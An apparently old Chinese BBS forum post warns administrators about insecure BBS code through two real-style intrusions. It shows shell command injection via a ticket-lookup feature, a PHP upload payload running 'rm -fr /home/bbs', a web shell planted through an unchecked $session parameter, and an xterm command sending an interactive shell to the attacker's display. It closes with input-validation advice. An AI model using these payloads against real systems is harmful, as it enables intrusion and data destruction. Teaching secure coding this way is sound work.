发表这篇文章的目的,是提醒各位系统维护,在写BBS代码时候一定要有安全意识.如果一个
普通的Server被人入侵,那么重装了事就好了,而一个BBS,联系着很多人的情感,上面有大量
的私人信息,如果被人入侵的话,实在是一件非常麻烦的事情.如果让用户的私人信息流传,或
者丢失用户的多年积累,总是一件令人内疚的事,虽然,从字面上,BBS服务有不承担此类义务
的
条款.
先看第一个例子:
某bbs,使用了一个车票查询功能,进入菜单某处,只要输入车次,就会得到这车次的信息.这个
功能的实现很简单,就是书写了一个小程序,用用户输入的参数去调一个网站的cgi,比如用户
输入K31,那么bbs就用system执行lynx
http://xxx.xxx.xxx/xxx.cgi?t=k31,然后把输出回
送给用户.
但是,写程序的人忘了进行输入检查,所以,如果有人输入;ls,那么这个程序就会执行ls,如果
输入;vi,那么这个程序就会执行vi.
接下来的就很简单:;vi,然后在里面按esc,输入:sh,就得到了一个bbs的shell了,然后吗,如
果
希望得到root,找一个local的hole就可以了...
再看第二个例子:
某bbs,提供文件上载功能,文件上载是用php实现的.代码中没有做任何检查,那么,如果我们
上载一个a.php,内容是<?system(rm -fr "/home/bbs");?>,然后GET 一下a.php会怎么样呢?
这个bbs经过提醒后意识到了这个问题,加了一些合法性检查,但是,代码仍然是有问题的,某
天,
因为apache的配置错误,他们的php的源码可以直接从web看到,那么我们就看看这段代码有什
么
问题:
cat upload2.php
<html>
<head>
<link rel="stylesheet" href="/bbstyle.css">
</head>
<body>
<?
if($attach_size == 0)
echo "粘贴附件失败!<br>\n";
elseif($attach_size != filesize($attach) || strstr($attach_name, ".php")
|| strchr($attach_name, '/'))
echo "粘贴附件失败!<br>\n";
else{
$tmppath = "/home/httpd/htdocs/attach/tmp/";
$tmpfile = $tmppath.$session;
if(!is_dir($tmppath))
mkdir($tmppath, 0755);
if(!copy($attach, $tmppath.$attach_name))
echo "粘贴附件失败!<br>\n";
else{
$file = fopen($tmpfile, "a");
if(!$file)
echo "粘贴附件失败!<br>\n";
else{
fputs($file, $attach_name."\n");
fclose($file);
echo "粘贴附件成功!<br>\n";
}
}
}
?>
<br>继续粘贴附件请点<a href="/upload.php">这里</a>
</body>
</html>
现在读了一遍,发现了什么问题没有?$session这个变量完全没有检查!
在这个bbs改正了apache配置错误,php能正常工作后,我们试试这个.
http://bbs.xxx.xxx.xxx/upload2.php?attach_size=2851&attach=/home/httpd/htdocs/le
ft.html
&session=faint.php&attach_name=<?system($a);?>
说明一下,left.html和attach_size是直接从这个bbs的www页面上随便找的一个文件,为了应
付
文件大小合法性检查的.
然后继续
http://bbs.xxx.xxx.xxx/attach/tmp/faint.php?a=ls呵呵,看到什么结果了?
那么剩下的也很简单.
可以
http://bbs.xxx.xxx.xxx/attach/tmp/faint.php?a=xterm -disaplay myip:0 &
来得到一个交互shell,可以用一些local的hole得到root.
总结:
任何用户输入都不要先验的相信其合法性,必须做严格的合法性检查,以前面的车票
查询为例,可以检查输入符合不符合字母+数字这种模式.以那个php上载脚本为例,应该检查
$attach是不是形如/tmp/php+n位字母数字,$session是不是符合自己生成的cookie的格式.
--
FROM 162.105.118.38